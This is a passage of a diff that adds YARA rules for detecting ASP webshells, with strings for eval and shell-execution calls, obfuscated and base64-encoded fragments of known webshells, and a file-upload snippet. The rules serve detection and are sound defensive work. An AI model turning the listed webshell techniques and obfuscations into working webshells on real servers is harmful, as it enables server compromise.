+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_payload
+        $asp_payload0  = "eval_r" fullword nocase wide ascii
+        $asp_payload1  = /\beval\s/ nocase wide ascii
+        $asp_payload2  = /\beval\(/ nocase wide ascii
+        $asp_payload3  = /\beval\"\"/ nocase wide ascii
+        // var Fla = {'E':eval};  Fla.E(code)
+        $asp_payload4  = /:\s{0,10}eval\b/ nocase wide ascii
+        $asp_payload8  = /\bexecute\s?\(/ nocase wide ascii
+        $asp_payload9  = /\bexecute\s[\w"]/ nocase wide ascii
+        $asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+        $asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+        $asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+        $asp_multi_payload_one2 = "addcode" fullword wide ascii
+        $asp_multi_payload_one3 = /\.run\b/ wide ascii
+        $asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+        $asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+        $asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+        $asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+        $asp_multi_payload_three2 = "Process" fullword wide ascii
+        $asp_multi_payload_three3 = ".Start" wide ascii
+        // this is about "MSXML2.DOMDocument" but since that's easily obfuscated, lets not search for it
+        $asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+        $asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+        $asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+
+        // execute cmd.exe /c with arguments using ProcessStartInfo
+        $asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+        $asp_multi_payload_five2 = ".Start" nocase wide ascii
+        $asp_multi_payload_five3 = ".Filename" nocase wide ascii
+        $asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+
+
+        //strings from private rule capa_asp_write_file
+        // $asp_write1 = "ADODB.Stream" wide ascii # just a string, can be easily obfuscated
+        $asp_always_write1 = /\.write/ nocase wide ascii
+        $asp_always_write2 = /\.swrite/ nocase wide ascii
+        //$asp_write_way_one1 = /\.open\b/ nocase wide ascii
+        $asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+        $asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+        $asp_cr_write1 = "CreateObject(" nocase wide ascii
+        $asp_cr_write2 = "CreateObject (" nocase wide ascii
+        $asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+        $asp_streamwriter2 = "filestream" fullword nocase wide ascii
+
+    condition:
+        (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and
+        ( (
+            any of ( $asp_payload* ) or
+        all of ( $asp_multi_payload_one* ) or
+        all of ( $asp_multi_payload_two* ) or
+        all of ( $asp_multi_payload_three* ) or
+        all of ( $asp_multi_payload_four* ) or
+        all of ( $asp_multi_payload_five* )
+        )
+        or (
+        any of ( $asp_always_write* ) and
+        (
+            any of ( $asp_write_way_one* ) and
+            any of ( $asp_cr_write* )
+        ) or (
+            any of ( $asp_streamwriter* )
+        )
+        )
+        ) and not any of ( $fp* ) and
+        ( filesize < 200 or
+        ( filesize < 1000 and any of ( $susasp* ) ) )
+}
+
+rule WEBSHELL_ASP_Encoded
+{
+    meta:
+        description = "Webshell in VBscript or JScript encoded using *.Encode plus a suspicious string"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/03/14"
+        modified = "2023-07-05"
+        hash = "1bc7327f9d3dbff488e5b0b69a1b39dcb99b3399"
+        hash = "9885ee1952b5ad9f84176c9570ad4f0e32461c92"
+        hash = "27a020c5bc0dbabe889f436271df129627b02196"
+        hash = "f41f8c82b155c3110fc1325e82b9ee92b741028b"
+        hash = "af40f4c36e3723236c59dc02f28a3efb047d67dd"
+
+        id = "67c0e1f6-6da5-569c-ab61-8b8607429471"
+    strings:
+        $encoded1 = "VBScript.Encode" nocase wide ascii
+        $encoded2 = "JScript.Encode" nocase wide ascii
+        $data1 = "#@~^" wide ascii
+        $sus1 = "shell" nocase wide ascii
+        $sus2 = "cmd" fullword wide ascii
+        $sus3 = "password" fullword wide ascii
+        $sus4 = "UserPass" fullword wide ascii
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+    condition:
+        filesize < 500KB and (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and any of ( $encoded* ) and any of ( $data* ) and
+        ( any of ( $sus* ) or
+        ( filesize < 20KB and #data1 > 4 ) or
+        ( filesize < 700 and #data1 > 0 ) )
+}
+
+rule WEBSHELL_ASP_Encoded_AspCoding
+{
+    meta:
+        description = "ASP Webshell encoded using ASPEncodeDLL.AspCoding"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/03/14"
+        modified = "2023-07-05"
+        score = 60
+        hash = "7cfd184ab099c4d60b13457140493b49c8ba61ee"
+        hash = "f5095345ee085318235c11ae5869ae564d636a5342868d0935de7582ba3c7d7a"
+
+        id = "788a8dae-bcb8-547c-ba17-e1f14bc28f34"
+    strings:
+        $encoded1 = "ASPEncodeDLL" fullword nocase wide ascii
+        $encoded2 = ".Runt" nocase wide ascii
+        $encoded3 = "Request" fullword nocase wide ascii
+        $encoded4 = "Response" fullword nocase wide ascii
+        $data1 = "AspCoding.EnCode" wide ascii
+        //$sus1 = "shell" nocase wide ascii
+        //$sus2 = "cmd" fullword wide ascii
+        //$sus3 = "password" fullword wide ascii
+        //$sus4 = "UserPass" fullword wide ascii
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+    condition:
+        filesize < 500KB and (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and all of ( $encoded* ) and any of ( $data* )
+}
+
+rule WEBSHELL_ASP_By_String
+{
+    meta:
+        description = "Known ASP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021-01-13"
+        modified = "2023-04-05"
+        hash = "f72252b13d7ded46f0a206f63a1c19a66449f216"
+        hash = "bd75ac9a1d1f6bcb9a2c82b13ea28c0238360b3a7be909b2ed19d3c96e519d3d"
+        hash = "56a54fe1f8023455800fd0740037d806709ffb9ece1eb9e7486ad3c3e3608d45"
+        hash = "4ef5d8b51f13b36ce7047e373159d7bb42ca6c9da30fad22e083ab19364c9985"
+        hash = "e90c3c270a44575c68d269b6cf78de14222f2cbc5fdfb07b9995eb567d906220"
+        hash = "8a38835f179e71111663b19baade78cc3c9e1f6fcc87eb35009cbd09393cbc53"
+        hash = "f2883e9461393b33feed4139c0fc10fcc72ff92924249eb7be83cb5b76f0f4ee"
+        hash = "10cca59c7112dfb1c9104d352e0504f842efd4e05b228b6f34c2d4e13ffd0eb6"
+        hash = "ed179e5d4d365b0332e9ffca83f66ee0afe1f1b5ac3c656ccd08179170a4d9f7"
+        hash = "ce3273e98e478a7e95fccce0a3d3e8135c234a46f305867f2deacd4f0efa7338"
+        hash = "65543373b8bd7656478fdf9ceeacb8490ff8976b1fefc754cd35c89940225bcf"
+        hash = "de173ea8dcef777368089504a4af0804864295b75e51794038a6d70f2bcfc6f5"
+
+
+        id = "4705b28b-2ffa-53d1-b727-1a9fc2a7dd69"
+    strings:
+        // reversed
+        $asp_string1  = "tseuqer lave" wide ascii
+        $asp_string2  = ":eval request(" wide ascii
+        $asp_string3  = ":eval request(" wide ascii
+        $asp_string4  = "SItEuRl=\"http://www.zjjv.com\"" wide ascii
+        $asp_string5  = "ServerVariables(\"HTTP_HOST\"),\"gov.cn\"" wide ascii
+        // e+k-v+k-a+k-l
+        // e+x-v+x-a+x-l
+        $asp_string6  = /e\+.-v\+.-a\+.-l/ wide ascii
+        $asp_string7  = "r+x-e+x-q+x-u" wide ascii
+        $asp_string8  = "add6bb58e139be10" fullword wide ascii
+        $asp_string9  = "WebAdmin2Y.x.y(\"" wide ascii
+        $asp_string10 = "<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[" wide ascii
+        $asp_string11 = "<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(" wide ascii
+        // Request.Item["
+        $asp_string12 = "UmVxdWVzdC5JdGVtWyJ" wide ascii
+
+        // eval( in utf7 in base64 all 3 versions
+        $asp_string13 = "UAdgBhAGwAKA" wide ascii
+        $asp_string14 = "lAHYAYQBsACgA" wide ascii
+        $asp_string15 = "ZQB2AGEAbAAoA" wide ascii
+        // request in utf7 in base64 all 3 versions
+        $asp_string16 = "IAZQBxAHUAZQBzAHQAKA" wide ascii
+        $asp_string17 = "yAGUAcQB1AGUAcwB0ACgA" wide ascii
+        $asp_string18 = "cgBlAHEAdQBlAHMAdAAoA" wide ascii
+
+        $asp_string19 = "\"ev\"&\"al" wide ascii
+        $asp_string20 = "\"Sc\"&\"ri\"&\"p" wide ascii
+        $asp_string21 = "C\"&\"ont\"&\"" wide ascii
+        $asp_string22 = "\"vb\"&\"sc" wide ascii
+        $asp_string23 = "\"A\"&\"do\"&\"d" wide ascii
+        $asp_string24 = "St\"&\"re\"&\"am\"" wide ascii
+        $asp_string25 = "*/eval(" wide ascii
+        $asp_string26 = "\"e\"&\"v\"&\"a\"&\"l" nocase
+        $asp_string27 = "<%eval\"\"&(\"" nocase wide ascii
+        $asp_string28 = "6877656D2B736972786677752B237E232C2A"  wide ascii
+        $asp_string29 = "ws\"&\"cript.shell" wide ascii
+        $asp_string30 = "SerVer.CreAtEoBjECT(\"ADODB.Stream\")" wide ascii
+        $asp_string31 = "ASPShell - web based shell" wide ascii
+        $asp_string32 = "<++ CmdAsp.asp ++>" wide ascii
+        $asp_string33 = "\"scr\"&\"ipt\"" wide ascii
+        $asp_string34 = "Regex regImg = new Regex(\"[a-z|A-Z]{1}:\\\\\\\\[a-z|A-Z| |0-9|\\u4e00-\\u9fa5|\\\\~|\\\\\\\\|_|{|}|\\\\.]*\");" wide ascii
+        $asp_string35 = "\"she\"&\"ll." wide ascii
+        $asp_string36 = "LH\"&\"TTP" wide ascii
+        $asp_string37 = "<title>Web Sniffer</title>" wide ascii
+        $asp_string38 = "<title>WebSniff" wide ascii
+        $asp_string39 = "cript\"&\"ing" wide ascii
+        $asp_string40 = "tcejbOmetsySeliF.gnitpircS" wide ascii
+        $asp_string41 = "tcejbOetaerC.revreS" wide ascii
+        $asp_string42 = "This file is part of A Black Path Toward The Sun (\"ABPTTS\")" wide ascii
+        $asp_string43 = "if ((Request.Headers[headerNameKey] != null) && (Request.Headers[headerNameKey].Trim() == headerValueKey.Trim()))" wide ascii
+        $asp_string44 = "if (request.getHeader(headerNameKey).toString().trim().equals(headerValueKey.trim()))" wide ascii
+        $asp_string45 = "Response.Write(Server.HtmlEncode(ExcutemeuCmd(txtArg.Text)));" wide ascii
+        $asp_string46 = "\"c\" + \"m\" + \"d\"" wide ascii
+        $asp_string47 = "\".\"+\"e\"+\"x\"+\"e\"" wide ascii
+        $asp_string48 = "Tas9er" fullword wide ascii
+        $asp_string49 = "<%@ Page Language=\"\\u" wide ascii
+        $asp_string50 = "BinaryRead(\\u" wide ascii
+        $asp_string51 = "Request.\\u" wide ascii
+        $asp_string52 = "System.Buffer.\\u" wide ascii
+        $asp_string53 = "System.Net.\\u" wide ascii
+        $asp_string54 = ".\\u0052\\u0065\\u0066\\u006c\\u0065\\u0063\\u0074\\u0069\\u006f\\u006e\"" wide ascii
+        $asp_string55 = "\\u0041\\u0073\\u0073\\u0065\\u006d\\u0062\\u006c\\u0079.\\u004c\\u006f\\u0061\\u0064" wide ascii
+        $asp_string56 = "\\U00000052\\U00000065\\U00000071\\U00000075\\U00000065\\U00000073\\U00000074[\"" wide ascii
+        $asp_string57 = "*/\\U0000" wide ascii
+        $asp_string58 = "\\U0000FFFA" wide ascii
+        $asp_string59 = "\"e45e329feb5d925b\"" wide ascii
+        $asp_string60 = ">POWER!shelled<" wide ascii
+        $asp_string61 = "@requires xhEditor" wide ascii
+
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+    condition:
+        filesize < 200KB and (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and any of ( $asp_string* )
+}
+
+rule WEBSHELL_ASP_Sniffer
+{
+    meta:
+        description = "ASP webshell which can sniff local traffic"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/03/14"
+        modified = "2023-07-05"
+        hash = "1206c22de8d51055a5e3841b4542fb13aa0f97dd"
+        hash = "60d131af1ed23810dbc78f85ee32ffd863f8f0f4"
+        hash = "c3bc4ab8076ef184c526eb7f16e08d41b4cec97e"
+        hash = "ed5938c04f61795834751d44a383f8ca0ceac833"
+
+        id = "b5704c19-fce1-5210-8185-4839c1c5a344"
+    strings:
+        $sniff1 = "Socket(" wide ascii
+        $sniff2 = ".Bind(" wide ascii
+        $sniff3 = ".SetSocketOption(" wide ascii
+        $sniff4 = ".IOControl(" wide ascii
+        $sniff5 = "PacketCaptureWriter" fullword wide ascii
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_input
+        // Request.BinaryRead
+        // Request.Form
+        $asp_input1 = "request" fullword nocase wide ascii
+        $asp_input2 = "Page_Load" fullword nocase wide ascii
+        // base64 of Request.Form(
+        $asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+        $asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+        $asp_xml_method1 = "GET" fullword wide ascii
+        $asp_xml_method2 = "POST" fullword wide ascii
+        $asp_xml_method3 = "HEAD" fullword wide ascii
+        // dynamic form
+        $asp_form1 = "<form " wide ascii
+        $asp_form2 = "<Form " wide ascii
+        $asp_form3 = "<FORM " wide ascii
+        $asp_asp   = "<asp:" wide ascii
+        $asp_text1 = ".text" wide ascii
+        $asp_text2 = ".Text" wide ascii
+
+    condition:
+        (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and (
+            any of ( $asp_input* ) or
+        (
+            $asp_xml_http and
+            any of ( $asp_xml_method* )
+        ) or
+        (
+            any of ( $asp_form* ) and
+            any of ( $asp_text* ) and
+            $asp_asp
+        )
+        )
+        and filesize < 30KB and all of ( $sniff* )
+}
+
+rule WEBSHELL_ASP_Generic_Tiny
+{
+    meta:
+        description = "Generic tiny ASP webshell which uses any eval/exec function indirectly on user input or writes a file"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-07-05"
+        hash = "990e3f129b8ba409a819705276f8fa845b95dad0"
+        hash = "52ce724580e533da983856c4ebe634336f5fd13a"
